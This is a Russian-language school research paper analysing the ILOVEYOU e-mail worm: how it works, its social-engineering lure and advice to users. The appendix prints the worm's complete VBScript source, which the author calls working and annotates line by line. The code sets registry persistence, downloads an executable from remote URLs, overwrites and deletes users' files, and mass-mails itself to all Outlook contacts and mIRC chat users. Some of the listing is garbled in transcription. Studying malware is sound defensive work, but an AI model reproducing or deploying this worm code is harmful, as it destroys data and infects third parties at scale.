Интернет – червь I LOVE YOU (LOVE LETTER FOR YOU). Принцип работы. Меры безопасности для защиты от заражения и предотвращения деструктивных действий
МАЛАЯ АКАДЕМИЯ НАУК КРЫМА
«ИСКАТЕЛЬ»
Секция информатики
Интернет – червь I LOVE YOU
(LOVE LETTER FOR YOU). Принцип работы.
Меры безопасности для защиты от заражения
и предотвращения деструктивных действий.
Действительный член МАН Крыма «Искатель»
Ученик 11 класса
Форосской общеобразовательной школы I – III ступени г. Ялты
КОРАБЛЕВ Андрей
Научный руководитель – КОРАБЛЕВ А. Б.
Инженер - системотехник
ВВЕДЕНИЕ.
В настоящее время наблюдается безудержный рост числа пользователей глобальной сети Internet. Все большее количество людей получает возможность оперативно получать необходимую информацию, обмениваться письмами, общаться по интересам и т.д. используя ресурсы Internet, который стал поистине глобальной компьютерной сетью. Развитие сети несет с собой рост компьютерной грамотности и способствует распространению компьютеров не только в учреждениях и банках, но и в домах людей, не являющихся специалистами по компьютерам.
В последние годы возник новый вид пользователя – пользователь домашнего компьютера, не являющийся специалистом – компьютерщиком и в основном использующий компьютер для игр и для подключения к сети Internet. И количество таких пользователей увеличивается в геометрической прогрессии. С одной стороны, рост компьютеризации имеет положительное значение – компьютеры все больше входят в жизнь людей и облегчают ее. Однако, как и все медали, это явление имеет и оборотную сторону – уровень подготовки пользователей все более снижается, все далее уходит от профессионализма. Этому в немалой степени способствуют фирмы-изготовители программного обеспечения. В своих программных продуктах они максимально облегчают интерфейс, предельно уменьшают участие пользователя в работе программы, автоматизируя сам процесс работы. Использование языков высокого уровня, предельное упрощение и автоматизация процесса создания программ позволяет пользователям создавать программные продукты весьма неплохого качества даже при отсутствии глубоких знаний программирования и устройства компьютера.
При всех плюсах автоматизирования работы программных продуктов, выражающихся в облегчении работы с ними, существует и большой минус. Программисты, создающие программное обеспечение, вынуждены создавать операционные системы, имеющие гигантское количество так называемых «внешних ручек управления» (иначе говоря, программных «окон»), позволяющих управлять работой одних программ при помощи других или при помощи скриптов. При этом, контроль за ходом выполнения программы со стороны пользователя не обязателен и в большинстве случаев не нужен. Сложное разветвление скриптов и использование системного реестра операционной системой MS Windows 98 может послужить наглядным примером.
Создатели данной операционной системы и великого множества приложений к ней постарались предельно «облегчить жизнь» простого пользователя и предельно автоматизировали их работу. Однако при этом они максимально облегчили жизнь и еще одному виду пользователя – компьютерному вирмейкеру, создающему определенный тип программ – компьютерные вирусы.
В течении последних года – двух вирмейкеры резко поменяли цель своих «усилий» - вместо атак на операционные системы, память и системные области жесткого диска стали использоваться для проникновения в компьютер те же «внешние ручки управления» входящие в состав MS Office, MS Outlook, mIRC32 и другие приложения MS Windows. Статистика описаний новых вирусов, подключаемых к антивирусным базам программы AVP Е. Касперского, получаемая мной с сайта www.viruslist.com , говорит о том, что за период июня-июля 2000 года 80% из поступивших вирусов составили Internet-черви и Internet-троянцы, 15% - вирусы для MS Word и 5% - вирусы для почтовых программ IRC. За этот период практически не было обнаружено в «диком» виде ни одного вируса, проникающего в систему при помощи нестандартных функций операционных систем или при помощи работы напрямую с контроллерами внешних устройств. Не используется и система прерываний BIOS и операционной системы как для проникновения, так и для осуществления деструктивных действий. В основном для всего этого используются встроенные функции языка Visual Basic, Java, скриптов MS Word, Excel, Access.
НАПРАВЛЕНИЯ РАЗВИТИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ, НАМЕТИВШИЕСЯ В ПОСЛЕДНИЕ ГОДЫ.
После появления MS Office 97 с развитой системой макросов и операционной системы MS Windows 98 со встроенными функциями Visual Basic и Java как бы открылись широкие ворота для всех видов проникновения в систему. При этом резко расширились возможности и для различных (в том числе и деструктивных) действий внутри системы.
Одними из первых «ласточек» этого типа вирусов был нашумевший вирус Melissa. И если внимательно проследить сейчас за сообщениями в компьютерной прессе и на информационных сайтах Internet, то они в последнее время напоминают сообщения с поля боя! Вирус Melissa, парализовавший работу сети на долгое время, вирус Timofonica, вторгшийся в систему сотовой связи, каждый из вирусов приносит миллиардные убытки. По подсчетам экономистов убытки только в течение 2000 года превысили уже 25 миллиардов долларов! И это только за последние полгода!
Мне очень захотелось подробно рассмотреть эти вирусы, понять, почему они смогли нанести такой большой вред множеству пользователей и провайдеров сети Internet, найти способы борьбы с ними и возможности избежать заражения в дальнейшем.
И поработать я решил с одним из нашумевших и принесших наиболее ощутимые убытки (10 млрд. долларов) вирусом I LOVE YOU (LOVE LETTER FOR YOU).
АНАЛИЗ АЛГОРИТМА ИНТЕРНЕТ-ЧЕРВЯ
I LOVE YOU (LOVE LETTER FOR YOU).
Компьютерный вирус I LOVE YOU по своей сути является одним из представителей класса вирусов – Internet – червем, распространяющемся по системе электронной почты и использующий для своего функционирования встроенные функции Visual Basic из состава MS Windows 98 (при наличии установленного приложения Visual Basic и в MS Windows 95). Он интересен тем, что является первым из серии подобных вирусов. В дальнейшем куски его кода и идеи, реализованные в нем, стали широко использоваться в других вирусах и в его клонах. Исходный текст вируса получен мной из ресурсов Internet и является рабочим, поэтому использовать его необходимо со всеми предосторожностями!
Интернет – червь I LOVE YOU (в дальнейшем будем для удобства называть его «вирус») проникает в систему при получении по электронной почте письма с темой I LOVE YOU и присоединенным файлом LOVE LETTER FOR YOU.TXT.VBS., в котором содержится код вируса. При прочтении данного письма программой MS Outlook файл с телом вируса получает управление.
Здесь стоит несколько отвлечься от хода алгоритма вируса и обратить ваше внимание на использование автором вируса знания психологии человека. Вирус для рассылки собственных копий (это мы увидим далее) использует адресную книгу приложений MS Outlook и mIRC. Как обычно, в адресную книгу заносятся адреса тех, кто человеку близок – друзей, деловых партнеров, знакомых, родственников. Получив от кого-либо из этой категории людей письмо с признанием в любви, пользователь просто не сможет побороть желание открыть его. В этом – то и заключается психологическое воздействие на пользователя со стороны автора вируса – открыв письмо, пользователь запускает вирус на исполнение.
Для скрытия того, что файл с телом вируса является исполняемым файлом Visual Basic, автор использовал настройки самой системы MS Windows. Суть заключается в том, что по умолчанию в системе используется показ имени файла без расширения. В результате на экране при просмотре списка файлов вместо файла LOVE-LETTER_FOR_YOU.TXT.VBS, являющегося исполняемым файлом Visual Basic, пользователь видит LOVE-LETTER_FOR_YOU.TXT, что дает ему основание считать его текстовым файлом, не могущим содержать в себе кода вируса. Большая часть пользователей использует настройки системы MS Windows по умолчанию.
В теле вируса содержится копирайт автора – студента из Манилы [1].
После открытия письма для чтения читается файл с телом вируса [3] и запускается главная процедура работы вируса.
Вирус анализирует наличие запрета на обработку скриптов в системном реестре и если он есть, то путем изменения соответствующего ключа реестра снимает его [4].
Далее вирус определяет пути к каталогам WIN, SYSTEM и TEMP [5]. В каталог WIN копируется тело вируса под именем Win32.DLL.VBS, а в каталог SYSTEM копируется тело вируса в два файла с именами MSKernel32.vbs и LOVE-LETTER-FOR-YOU.TXT.VBS [6].
Далее в реестре Windows создается ключ, который будет запускать вирус при каждой загрузке Windows.
Анализируется расположение приемного каталога электронной почты и если он не является корневым каталогом диска С:, то он переназначается на С:[7]. Это делается для того, чтобы в дальнейшем принятый файл WIN-BUGSFIX.EXE был расположен в корневом каталоге С:.
В каталоге SYSTEM ищется файл WinFAT32.exe и при его наличии генерируется случайное число в пределах 1-4 [8]. Если файл найден, то производится прописывание одного из четырех (в зависимости от случайного числа) адресов сайта www.skyinet.net в реестре в качестве стартовой страницы для MS Internet Explorer. Устанавливается соединение и с сервера скачивается файл WIN-BUGSFIX.exe [9].
Мои собственные попытки связаться с этим сайтом и вручную скачать файл для дальнейшего изучения закончились неудачей. Все четыре адреса на сайте отсутствуют.
Если удалось скачать файл, то в реестре Windows создается ключ, который будет запускать его при каждой загрузке Windows [10] и стартовой страницей для MS Internet Explorer прописывается файл about:blank.
На этом заканчивается внедрение вируса в систему, и он переходит к активным деструктивным действиям.
Производится проверка типов дисков и поиск файлов по всем дискам. Далее проверяются расширения найденных файлов [11], и в соответствии с расширениями производятся деструктивные действия:
если расширения .VBS или .VBE – вирус записывает вместо них свое тело, не меняя расширения;
если расширения .JS; .JSE; .CSS; .WSH; .SCT; .HTA – вирус записывает вместо них свое тело и меняет расширения на .VBS. Оригинальные файлы удаляются.
если расширения .JPG или .JPE – вирус записывает вместо них свое тело и меняет расширения на .VBS. Оригинальные файлы удаляются.
если расширения файлов .MP2; .MP3 – вирус создает файлы с такими же именами, но расширениями .VBS, а оригинальным файлам присваивает атрибут «Hidden».
Алгоритм деструктивных действий очень прост и прозрачен. Автором для начинающих вирмейкеров оставлена возможность безудержно фантазировать и произвольно изменять (а также расширять по своему усмотрению) список расширений файлов, подвергающихся атаке. Поэтому после атаки оригинального вируса в течении трех дней мировая сеть была наводнена его клонами. И клоны эти были уже направлены на файлы с расширениями .COM; .EXE; .DLL;.INI и т.д.
Закончив свои деструктивные действия на компьютере пользователя, вирус предпринимает действия для дальнейшего распространения среди пользователей сети Internet.
В первую очередь он ищет в системе программу mIRC32, осуществляющую связь с чат-серверами и при ее наличии создает файл script.ini [12]. В теле скрипта пишется грозное предупреждение о том, что запрещается редактировать этот скрипт – это приведет к повреждению программы mIRC, а при поврежденной mIRC система не будет работать корректно. Таким образом автор пытается предотвратить попытки пользователя очистить скрипт от лишнего содержимого. В скрипт включается запись, которая осуществляет рассылку всем участникам чата копии вируса в виде файла LOVE-LETTER-FOR-YOU.HTM [13]. Сам файл содержится в теле вируса.
После попытки (удачной или неудачной) распространения своего тела среди участников чата, вирус предпринимает попытку распространения себя по электронной почте, используя при этом программу Microsoft Outlook Express [14].
Вначале вирус получает доступ к адресной книге приложения Outlook [15], а затем организует цикл перебора адресов для создания писем со своим телом [16].
Далее вирус создает тело письма с адресом отправителя, темой и текстом [17], присоединяет к письму файл с телом вируса [18] и отправляет его адресату. Если в Outlook нет адресной книги или она пустая – письма не создаются.
Закончив свои процедуры вирус завершает работу не оставляя при этом своей резидентной копии в памяти компьютера.
ОСОБЕННОСТИ АЛГОРИТМА ВИРУСА, ВЫВОДЫ И НЕКОТОРЫЕ РЕКОМЕНДАЦИИ ПО БОРЬБЕ С ПОДОБНЫМИ ТИПАМИ ВИРУСОВ.
Подробный анализ алгоритма вируса позволяет сделать несколько выводов.
Исследуемый вирус, его клоны и другие вирусы данного типа не являются чем-либо из ряда вон выходящим. В нем используются достаточно простой алгоритм и механизм проникновения в систему. Хотелось бы отметить и то, что процесс проникновения в систему не использует каких либо функций, позволяющих скрыть свое присутствие в системе. В чем же состоит опасность вируса? Исследуя его, я не увидел каких-либо ярко выраженных особенностей алгоритма и приемов стелсирования, однако ущерб от его деструктивных действий огромен. Это кажется парадоксом.
Внимательно исследуя алгоритм вируса и процесс его работы я пришел к выводу, что автор вируса умело использовал знания человеческой психологии, при этом предназначив вирус для той категории пользователей, которая сейчас очень многочисленна – пользователей домашних персональных компьютеров, подключенных к сети Internet. Так же на этом вирусе «попались» недостаточно профессионально подготовленные системные администраторы узлов.
Как же возможно противостоять атаке исследуемого вируса и подобных ему? Алгоритм заражения и деструктивных действий может видоизменяться, но каналов проникновения в систему не так уж и много. В связи с этим вирусописатели вынуждены использовать всевозможные приманки для пользователей. Мы уже видим, что в исследуемом вирусе использовано признание в любви в качестве приманки. Очень многие не смогли побороть искушения посмотреть, кто же так любит его. Так же возможны к использованию в качестве темы письма и такие варианты: «…Вы хотите заработать за день 10000 долларов?» или «…бесплатные звонки в СЩА» или «… мобильные телефоны за 1$ без абонентской платы».
Что бы я посоветовал пользователям, заинтересованным в защите от распространяющихся в последнее время как грибы после дождя интернет-червей?
Никогда не читайте полученные по электронной почте письма с предложениями чего-либо бесплатного или очень дешевого, а так же любые другие заманчивые предложения. В лучшем случае это может оказаться «спамом». Обратитесь к системному администратору Вашего узла с просьбой проверить письмо на наличие нового вируса.
Никогда не оставляйте настроек Windows и его приложений в режиме «по умолчанию». Данный режим предназначен неизвестно для кого и очень молоинформативен. Если Вы используете какое-либо приложение Windows, то внимательно изучите инструкции по его использованию и описание программ, тогда Вам будет легче ориентироваться – нормально ли работает приложение.
Используйте всегда свежее антивирусное программное обеспечение. Я посоветовал бы пользоваться антивирусом AVP лаборатории Евгения Касперского. У меня на компьютере установлена версия 1.32 и на сайте лаборатори и я ежедневно получаю дополнения по Internet.
Исходный текст вируса LOVE-LETTER-FOR-YOU ( I LOVE YOU) с комментариями.
rem barok -loveletter(vbe) <i hate go to school> Копирайты автора вируса, на основании
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines которых сделан вывод о филиппинском про-
On Error Resume Next исхождении вируса [1]
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject") Подготавливается окружение для работы вируса. [2]
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll Читается основной файл вируса [3]
main() Запускается главная процедура
sub> main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell") Если установлен запрет на
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") обработку скриптов, то
if (rr>=1) then изменением ключа в [4]
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" реестре она разрешается.
end if
Set dirwin = fso.GetSpecialFolder(0) Определяются пути к: каталогу WIN; [5]
Set dirsystem = fso.GetSpecialFolder(1) каталогу SYSTEM;
Set dirtemp = fso.GetSpecialFolder(2) каталогу TEMP;
Set c = fso.GetFile(WScript.ScriptFullName) ; Определяется имя активного файла
c.Copy(dirsystem&"\MSKernel32.vbs") ; В каталог SYSTEM копируется копия вируса [6]
c.Copy(dirwin&"\Win32DLL.vbs") ; В каталог WIN копируется копия вируса
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") ; В каталог SYSTEM копируется вторая копия вируса
regruns() ; Запускается процедура работы с реестром Windows
html() ; Запускается процедура работы с HTML файлами
spreadtoemail() ; Запускается процедура работы с электронной почтой
listadriv() ; Запускается процедура деструктивных действий
end sub>
====================Процедура работы с реестром WINDOWS================
sub> regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
Создается ключ в реестре, который будет запускать вирус при загрузке WINDOWS
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") Анализируется расположение каталога
if (downread="") then Download Directory и если он не является
downread="c:\" корневым каталогом диска С: , то пере-
end if назначается на C:\ [7]
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Проверяется наличие в системном каталоге файла WinFAT32.exe [8]
Randomize и при его наличии генерируется случайное число в пределах 1 - 4
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
В случае наличия в системной директории файла WinFAT32.exe производится прописывание одного из четырех адресов сайта http://www.skyinet.net/ в реестре в качестве стартовой страницы для Microsoft Internet Explorer (в зависимости от сгенерированного случайного числа ). С сервера скачивается файл WIN-BUGSFIX.exe. [9]
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
При наличии файла WIN-BUGSFIX.exe в каталоге Download ( C: \ ) в реестре прописывается ключ для его запуска при загрузке Windows и стартовой страницей Microsoft Internet Explorer прописывается файл about:blank [10]
end if
end sub>
====================Процедура деструктивных действий================
-----------------Подпрограмма поиска на дисках ------------
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then Производится проверка типа дисков и поиск по всем дискам
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub>
----------------Подпрограмма заражения файлов ------------
sub> infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path) Проверяются расширения файлов [11]
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true) Если расширения файлов .VBS или .VBE, то вирус записывает себя вместо них.
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then Если расширения файлов .JS ; .JSE ; .CSS ; .WSH ; .SCT ;
set ap=fso.OpenTextFile(f1.path,2,true) .HTA, то вирус также записывает себя вместо них
ap.write vbscopy и меняет расширения на .VBS
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path) Вирус удаляет оригинальные файлы.
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true) Если расширения файлов .JPG ; .JPE ,то вирус записывает себя вместо них и меняет расширения на .VBS
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs") Вирус удаляет оригинальные файлы.
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs") Если расширения файлов .MP2 ; .MP3 ,то вирус создает файлы с такими же именами, но
mp3.write vbscopy расширениями .VBS
mp3.close
set att=fso.GetFile(f1.path) Вирус присваивает оригинальным файлам .MP2 или .MP3 атрибут «Hidden»
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then Вирус ищет в системе программу mIRC32 ( чат )
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then и создает при ее наличии файл script.ini [12]
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
-----------Скрипт для программы mIRC32 (script.ini)--------------
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" Эта часть скрипта осуществляет рассылку всем
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" участникам чата копии вируса в виде HTM файла [13]
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub>
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec) Вирус запоминает пути к зараженным файлам
set sf = f.sub>Folders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub>
--------Подпрограмма создания ключа в реестре -----------
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell") Запись ключа в реестр
regedit.RegWrite regkey,regvalue
end sub>
-------------Подпрограмма чтения ключа в реестр -----------
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value) Проверка записи ключа в реестр
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec) Данной процедурой вирус подготавливает отправку сообщений со своей копией по электронной почте.
On Error Resume Next [14]
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
=================Процедура рассылки копий вируса по электронной почте =============
sub> spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI") Вирус получает доступ к адресной книге программы Outlook Express.[15]
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x) Организуется цикл для рассылки по всем адресам адресной книги [16]
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0) Вирус создает тело письма с адресом отправителя, темой и
male.Recipients.Add(malead) текстом. [17]
male.sub>ject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") Присоединяет к письму файл с телом вируса [18]
male.Send Отсылает письмо адресату
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else Если нет адресной книги, то письма не создаются
regedit.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\WAB\”&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub>
=
===========Процедура создания HTM страницы==========
sub> html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub>
С О Д Е Р Ж А Н И Е.
Введение ……………………………………………………………………. 2
Направления развития компьютерных вирусов, наметившиеся в
последнее время ……………………………………………………………. 3
Анализ алгоритма интернет-червя I LOVE YOU (LOVE LETTER FOR
YOU) ………………………………………………………………………… 4
Особенности алгоритма вируса, выводы и некоторые рекомендации по
борьбе с подобными типами вирусов………………………………………. 7
5. Приложение с описанием вируса ……………………………………………9